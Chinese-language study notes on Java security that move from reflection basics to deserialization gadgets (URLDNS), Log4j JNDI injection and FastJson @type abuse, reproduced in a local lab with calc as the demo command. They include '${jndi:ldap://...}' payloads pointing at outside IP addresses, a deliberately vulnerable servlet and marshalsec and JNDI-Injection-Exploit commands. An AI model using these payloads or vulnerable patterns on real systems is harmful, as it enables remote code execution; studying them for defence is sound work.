public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException {

// 获取类名
Class aClass = Class.forName("org.example.User");

// 1、获取公共的成员变量:Field[] fields1 = aClass.getFields();
Field[] fileds1 = aClass.getFields();
// 遍历获取公共成员变量
for (Field field : fileds1) {
System.out.println(field);
}

System.out.println("-----------------------");

// 2、获取所有的成员变量:Field[] fields = aClass.getDeclaredFields();
Field[] fields = aClass.getDeclaredFields();
for (Field field : fields) {
System.out.println(field);
}

// 3、获取单个的公共成员变量:Field name = aClass.getField("name");
Field name = aClass.getField("name");
//Field name = aClass.getField("gender"); ------->报错 非公共成员变量
System.out.println(name);

// 4、获取单个的成员变量:Field gender = aClass.getDeclaredField("gender")
Field gender = aClass.getDeclaredField("gender");

}
}

image-20250521083803280

进行赋值和取值操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import java.lang.reflect.Field;

public class SetValueDemo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

Class aClass = Class.forName("org.example.User");

User user = new User();
Field name = aClass.getField("name");

//取值
Object a =name.get(user);
System.out.println(a);

//赋值
name.set(user,"xiaosedisssssss");
Object newUser =name.get(user);
System.out.println(newUser);

}
}

image-20250521085644472

反射-Constructor构造方法类获取

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example;

import java.lang.reflect.Constructor;

public class GouzaoDemo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException {
// 获取到类名
Class aClass = Class.forName("org.example.User");

// 1、获取公共的构造方法
Constructor[] constructors = aClass.getConstructors();
for (Constructor constructor : constructors) {
System.out.println(constructor);
}

System.out.println("-----------------------");


// 2、获取所有的构造方法
Constructor[] constructors1 = aClass.getDeclaredConstructors();
for (Constructor constructor : constructors1) {
System.out.println(constructor);
}

System.out.println("-----------------------");


// 3、获取单个的构造方法
Constructor constructors2 = aClass.getDeclaredConstructor(String.class,int.class);
System.out.println(constructors2);

}
}

对构造方法进行操作(两个参数string,int),**setAccessible(true)临时开启对私有的访问,`newInstance`** 使用构造方法创建对象,传递参数;

newInstance 方法:

  • newInstance 方法是 java.lang.reflect.Constructor 类的一个方法,用于创建新的类实例。
  • 它通过调用类的构造方法来实例化对象。
  • newInstance 方法通常用于动态创建对象,尤其是在反射时,允许在运行时通过 Constructor 对象调用类的构造方法。

setAccessible(true) 方法:

  • setAccessible 方法是 java.lang.reflect.AccessibleObject 类的一个方法,用于启用或禁用 Java 语言访问检查。
  • 当 setAccessible(true) 被调用时,表示反射对象在使用时取消了访问权限检查,可以访问类的私有成员。
  • 这通常用于访问那些受到访问控制限制的类的私有成员(字段、方法、构造方法等)。

现在User.java新添加构造方法:

1
2
3
public User(String name){
System.out.println("name="+name);
}

实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class GouzaoDemo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// 获取到类名
Class aClass = Class.forName("org.example.User");

// 获取单个的构造方法
Constructor constructors2 = aClass.getDeclaredConstructor(String.class,int.class);

// 对私有方法进行操作
constructors2.setAccessible(true); //临时开启私有成员访问权限
User uu=(User) constructors2.newInstance("xiaodigay",34);
System.out.println(uu);

Constructor constructor3 = aClass.getConstructor(String.class);
System.out.println(constructor3);
constructor3.newInstance("woaixiaodi");

}
}

结果截图

image-20250521092406334

反射-Method成员方法类获取

Untitled

实现方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class GouzaoDemo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// 获取到类名
Class aClass = Class.forName("org.example.User");

// 1、获取包括继承的公共成员方法
Method[] methods = aClass.getMethods();
for (Method method : methods) {
System.out.println(method);
}

System.out.println("-------------------");

//2、获取不包括继承的所有成员方法
Method[] methods1 = aClass.getDeclaredMethods();
for (Method method : methods1) {
System.out.println(method);
}

System.out.println("-------------------");

// 3、获取单个的成员方法
Method users = aClass.getDeclaredMethod("users",String.class,String.class);
System.out.println("users:"+users);



}
}

代码实现:

image-20250521094036895

对成员方法的执行

  1. User u = new User();: 创建一个 User 对象,即实例化 User 类。

  2. Method users = aClass.getDeclaredMethod(“users”, String.class, String.class);: 通过反射获取 User 类中名为 “users” 的方法,该方法接受两个参数,类型分别为 String 和 String。

  3. users.invoke(u, “xiaodigay”, “gay1”);: 使用 invoke 方法调用 User 对象的 users 方法,传递参数 “xiaodigay” 和 “gay1”。这行代码相当于调用 u.users(“xiaodigay”, “gay1”)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class GouzaoDemo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// 获取到类名
Class aClass = Class.forName("org.example.User");

// 1、获取包括继承的公共成员方法
Method[] methods = aClass.getMethods();
for (Method method : methods) {
System.out.println(method);
}

System.out.println("-------------------");

//2、获取不包括继承的所有成员方法
Method[] methods1 = aClass.getDeclaredMethods();
for (Method method : methods1) {
System.out.println(method);
}

System.out.println("-------------------");

// 3、获取单个的成员方法
Method users = aClass.getDeclaredMethod("users",String.class,String.class);
System.out.println("users:"+users);


// 4、对成员方法执行
User u = new User();
Method users1 = aClass.getDeclaredMethod("users",String.class,String.class);
users1.invoke(u,"xiaodigay","gay111");


}
}

image-20250521094722418

反射-不安全命令执行&反序列化链构造

1、反射实现-命令执行

原型:java自带包含有的java.lang中有对于本机控制台的调用方法
Runtime.getRuntime().exec(“calc”);

image-20250521095737811

反射:如果是第三方的jar包如何实现

  • 首先使用 Class.forName获取 java.lang.Runtime 类
  • 通过getMethods获取该类包括继承公共成员方法,并遍历出来
1
2
3
4
5
6
7
8
9
10
11
// 使用 Class.forName 获取 java.lang.Runtime 类
Class aClass = Class.forName("java.lang.Runtime");

// 获取 Runtime 类的所有公共方法
Method[] methods = aClass.getMethods();

// 遍历所有方法并打印输出方法信息
for (Method me : methods) {
System.out.println(me);
}

  • 通过查询找到对应需要的成员方法
  • 根据成员方法的名称和参数,分别对应获取所需成员方法
  • 通过使用获取的方法依次调用执行即可
  • image-20250521102031266
1
2
3
4
5
6
7
8
9
10
11
// 获取名为 "exec" 的方法,该方法接受一个 String 参数
Method exec = aClass.getMethod("exec", String.class);

// 获取名为 "getRuntime" 的方法,该方法不接受参数
Method getRuntimeMethod = aClass.getMethod("getRuntime");

// 使用反射调用 aClass 对象的 getRuntime 方法,获取 Runtime 对象
Object runtime = getRuntimeMethod.invoke(aClass);

// 使用反射调用 Runtime 对象的 exec 方法,执行系统命令 "calc.exe"
exec.invoke(runtime, "calc.exe");
1
2
3
4
5
6
7
8
9
10
11
12
// 使用 Class.forName 获取 Runtime 类
Class c1 = Class.forName("java.lang.Runtime");

// 获取 Runtime 类的默认构造方法
Constructor m = c1.getDeclaredConstructor();

// 设置构造方法为可访问
m.setAccessible(true);

// 使用反射调用 Runtime 类的 exec 方法,执行系统命令 "calc"
c1.getMethod("exec", String.class).invoke(m.newInstance(), "calc");

2、不安全的反射对象
指应用程序使用具有反射功能的外部输入来选择要使用的类或代码,
可能被攻击者利用而输入或选择不正确的类。绕过身份验证或访问控制检查
参考分析:https://zhuanlan.zhihu.com/p/165273855
利用结合:https://xz.aliyun.com/t/7031?time__1311=n4%2BxnD0GDti%3DLxQTq05%2BbDyGD9lBQKDReOYD

JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载

反序列化-解释&使用&安全

序列化&反序列化-概念

3_xuliehua.jpg

1、序列化与反序列化

序列化:将内存中的对象转换成便于传输的字节流

反序列化:将字节流转化成内存中的对象

Java 提供了一种对象序列化的机制。用一个字节序列可以表示一个对象,==该字节序列包含该对象的数据对象的类型对象中存储的属性等信息。==字节序列写出到文件之后,相当于文件中持久保存了一个对象的信息。

反之,该字节序列还可以从文件中读取回来,重构对象,对它进行反序列化

2、序列化技术

1
2
3
4
5
6
7
8
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过RMI传输对象的时候。

3、常见的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()
• JAVA内置的XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson

4、为什么会出现反序列化安全问题

内置原生写法分析
• 重写readObject方法
• 输出调用toString方法

5、反序列化利用链

(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行

原生使用-序列化&反序列化

请添加图片描述

1
2
3
4
5
6
7
8
9
10
11
12
[//进行序列化对象并写入文件ser.txt](https://xn--ser-tu9d84i5il4ak2d9y9a9vf0hw87e4j7he7ljvm.txt/)
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
//读入Filename进行反序列化
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}

1.序列化实现,创建用户类,并实现Serializable接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;

import java.io.IOException;
import java.io.Serializable;

public class UserDemo implements Serializable {

//公共成员变量
public String name = "xiaodi";
public String gender = "man";
public Integer age = 30;

//构造方法
public UserDemo(String name, String gender, Integer age) {
this.name = name;
this.gender = gender;
this.age = age;
System.out.println(name);
System.out.println(gender);

}

@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}

// 返回对象信息的字符串表示
return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';


}
}

2.创建对应的序列化类,并创建对应的序列化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import java.io.*;

public class SerializableDemo {
public static void main(String[] args) throws IOException {
//创建一个用户对象,引用UserDemo
UserDemo u = new UserDemo("xiaodi", "gay1", 30);
//调用方法进行序列化
SerializableTest(u);

}

//序列化方法
private static void SerializableTest(Object object) throws IOException {
//使用 ObjectOutputStream将对象 obj 序列化后输出到文件ser.txt
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(object);

//关闭流
oos.close();

}
}

3.创建对应反序列化类,并创建对应反序列化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;

public class UnserializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法,传输 ser.txt,解析还原反序列化
Object obj = UnserializableTest("ser.txt");

//对 obj 对象进行输出。默认调用原始对象的 toString 方法
System.out.println(obj);

}

private static Object UnserializableTest(String file) throws IOException, ClassNotFoundException {
// 读取 Filename 文件进行反序列化还原
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));
Object o = ois.readObject();

// 返回反序列化后的对象
return o;

}
}

执行结果:

image-20250521194859694

安全问题-重写方法&触发方法

  • toString //输出调用toString方法
  • 如果在原始对象 的toString方法中夹带外部执行命令,可能在执行反序列化时
  • 触发方式:如果对obj对象进行输出 默认调用原始对象的toString方法 而造成执行外部命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public String toString() {
try {
**// 潜在的安全问题:执行外部命令
Runtime.getRuntime().exec("calc");**
} catch (IOException e) {
// 潜在的安全问题:将异常信息抛出,可能泄漏敏感信息
throw new RuntimeException(e);
}
return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法 传输ser.txt 解析还原反序列化
Object obj =UnserializableTest("ser.txt");
//对obj对象进行输出 默认调用原始对象的toString方法
System.out.println(obj);
}

public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}

image-20250521194859694

  • readObject //序列化后被重写readObject调用
  • 触发方式:在原始对象中重写readObject 方法,在执行反序列化时候,会被默认优先调用

Untitled

1
2
3
4
5
6
7
8
// 私有的 readObject 方法,用于在反序列化时执行一些自定义的逻辑
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 指向正确的 readObject
ois.defaultReadObject();
// 调用 Runtime.getRuntime().exec("calc") 执行系统命令 "calc",潜在的安全风险
Runtime.getRuntime().exec("calc");
}

安全问题-可控其他类重写方法

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

1.利用 HashMap存在的反序列化漏洞的readObject方法,调用了HashMap.putVal() 方法,最终调用了URL.hashCode()形成RCE漏洞分析

  • 正常代码中 创建对象HashMap

  • 用到原生态readObject方法去反序列化数据

    • readObject 在ObjectInputSteam 本来在这里
    • HashMap也有readObject方法
  • 反序列化readObject方法调用 HashMap里面的readObject
    执行链:
    序列化对象hash 来源于自带类HashMap

  • Gadget Chain:

    • HashMap.readObject()
    • HashMap.putVal()
    • HashMap.hash()
    • URL.hashCode()
  • hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDns implements Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//正常代码中 创建对象HashMap

//用到原生态readObject方法去反序列化数据
//readObject 在ObjectInputSteam 本来在这里
//HashMap也有readObject方法

//反序列化readObject方法调用 HashMap里面的readObject
//执行链:
//序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

HashMap<URL,Integer> hash = new HashMap<>();
URL u=new URL("http://6grm3c.dnslog.cn");
hash.put(u,1);

SerializableTest(hash);
UnserializableTest("dns.txt");

}


public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream() 输出文件
//将对象obj序列化后输出到文件ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);

}

public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}


}

image-20250521202419170

2.RCE漏洞简介

RCE (Remote Code Execution) 漏洞是一种计算机安全漏洞,它允许攻击者远程执行恶意代码或命令,从而获取对目标系统的控制权。攻击者可以通过利用软件或系统中存在的安全漏洞,将恶意代码注入到目标系统中,然后执行它们。

RCE 漏洞可能会导致严重的安全问题,攻击者可以利用这些漏洞进行各种恶意活动,包括但不限于以下几点:

控制系统:攻击者可以通过远程执行代码来获得对目标系统的完全控制。这使得攻击者可以访问系统上的敏感数据、修改配置、操纵系统行为等。
系统破坏:攻击者可能会利用 RCE 漏洞来破坏系统的正常运行。他们可以执行破坏性的命令,例如删除文件、关闭关键服务或引发系统崩溃。
数据泄露:攻击者可以利用 RCE 漏洞来访问系统上的敏感数据,例如个人身份信息、登录凭据、银行信息等。这些数据可能被窃取、滥用或出售。

JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

Java-项目管理工具-配置

Jar仓库:

https://mvnrepository.com/

Maven配置:

https://www.jb51.net/article/259780.htm

JNDI

Untitled

相关概念

1、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。

2、反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap。

3、RMI是一种行为,指的是Java远程方法调用。通过 RMI,对象的方法可以在远程 JVM 上被调用。

4、LDAP指轻量级目录服务协议。LDAP 主要用于访问目录服务,这是一种树形结构的数据库,用于组织和存储信息。

JNDI注入

原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入

Untitled

Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

危害

1、Log4j 2.x

Log4j 2.x中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。

​ 上下文注入:
​ 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
​ 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通

2、FastJson JNDI 注入漏洞(JSON )

1、FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。

2、攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。
攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。

3、远程代码执行:
由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。

三方组件-Log4J&JNDI

Log4J

Log4J:日志管理
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

本地简单实现

  • 创建Maven并命名为Log4jDemo
  • 找到对应版本**Apache Log4j Core » 2.14.1,并导入至项目中pomxml文件中**
  • 并刷新Maven则导入成功
  • 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
    • Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
    • 在 Logger.error(“{}”, code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。

1、Maven引用Log4j

依赖下载:

1
2
3
4
5
6
7
8
9
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

</dependencies>

image-20250522084222085

Log4jTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {

private static final Logger log = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) {

String code = "${java:os}";

log.error("{}",code);

}
}

效果实现:

image-20250522084150914

2、接受用户输入值

创建JavaEE项目,使用Tomcat 9.0.74进行创建

Log4jServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example.log4jeedemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
private static final Logger Logger = LogManager.getLogger(Log4jServlet.class);

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp){
// 从请求中获取名为 "code" 的参数
String code = req.getParameter("code");

// 记录日志,潜在的安全风险:直接使用用户输入
Logger.error("{}", code);
}
}

遇到的问题:

遇到问题:HTTP Status 400 – 错误的请求描述 由于被认为是客户端对错误(例如:畸形的请求语法、无效的请求信息帧或者虚拟的请求路由),服务器无法或不会处理当前请求

image-20250522085229361

原因:
是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有”{“不在RFC3986中的保留字段中,所以会报这个错。

解决方式:修改Tomcat配置server.xml

Tomcat-9\apache-tomcat-9.0.74\conf\server.xml

1
2
3
4
5
<Connector port="8080" protocol="HTTP/1.1"
relaxedQueryChars="[]|{}^&#x5c;&#x60;&quot;&lt;&gt;"
connectionTimeout="20000"
redirectPort="8443" /

进行访问

image-20250522085951746

image-20250522090018219

3、利用jndi-ldap执行

1
2
3
4
5
6
code=$(java:os) 输出执行结果:显示系统
code=(java:os) 正常输入正常输出:(java:os)
${jndi:ldap://47.94.236.117:1389/uyhyw6}
${jndi:ldap://xxxx.dns.log}
ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
什么方法? -A “calc” 执行计算机的功能方法(JNDI注入工具生成的)

参考文章:Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_apcjnd-CSDN博客

marshalsec使用

java 反序列化利用工具 marshalsec 使用简介-CSDN博客

开启RMI服务

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099

开启LDAP服务

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
JNDI-Injection-Exploit

JNDI-Injection-Exploit 使用教程-CSDN博客

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

三方组件-FastJson&反射

FastJson:可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1、Maven引用Fastjson

Untitled

Untitled

2、创建需转换类对象User

编写User测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

public class User {
private String name;
private int age;

public Integer getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println(age);
}

public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
System.out.println(name);
}
}

创建FastjsonDemo.java进行测试

1
2
3
4
5
6
7
8
9
10
11
package org.example;

public class FastjsonDemo {
public static void main(String[] args) {
User u = new User();
u.setAge(30);
u.setName("xiaodi");
System.out.println(u);
}
}

image-20250522093843072

3、使用Fastjson进行数据转换(对象转Json)

  • 对象 -> JSON
    • 选择Fastjson,更加方便的将对象转换为JSON格式的数据

FastjsonDemo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import com.alibaba.fastjson.JSONObject;

public class FastjsonDemo {
public static void main(String[] args) {
//u Object对象
//Integer age String name 字符串数据
User u = new User();
u.setAge(30);
u.setName("xiaodi");
// System.out.println(u);

//上述对象 -> JSON
//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
//我就选择第三方组件fastjson来去做这个功能
//讲json对象转换json数据

String jsonStr = JSONObject.toJSONString(u);
System.out.println(jsonStr);
}
}

image-20250522094211582

4、数据转换(Json转对象)

JSON -> 对象

1
2
3
4
//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
System.out.println(jsonString1);

image-20250522094918317

将JSON转换为对象后,出现了@type转换对象类包

通过修改@type的value既可以实现代码执行

在本地创建一个Run.java

1
2
3
4
5
6
7
8
9
10
package org.example;

import java.io.IOException;

public class Run {
public Run() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

修改Fastjson.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.io.Serializable;

public class FastjsonDemo {
public static void main(String[] args) {

String test = "{\"@type\":\"org.example.User\",\"age\":30,\"name\":\"xiaodi\"}";
String test1 = "{\"@type\":\"org.example.Run\",\"age\":30,\"name\":\"xiaodi\"}";

JSONObject jsonObject = JSON.parseObject(test);
System.out.println("这就是json转换为对象的格式:"+jsonObject);
JSONObject jsonObject1 = JSON.parseObject(test1);
System.out.println("这就是json转换为对象的格式:"+jsonObject1);

}
}

image-20250522095357430

但在实际渗透过程中,并不知道是否存在RCE相关的执行代码,所以这种调用方式,几乎是无法使用的

Fastjson漏洞分析与利用详解-CSDN博客后续参考文章

JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

Untitled

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

1
2
3
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

JNDI远程调用-JNDI-Injection

  • 创建一个rmi ldap等服务调用 实例化对象
1
new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");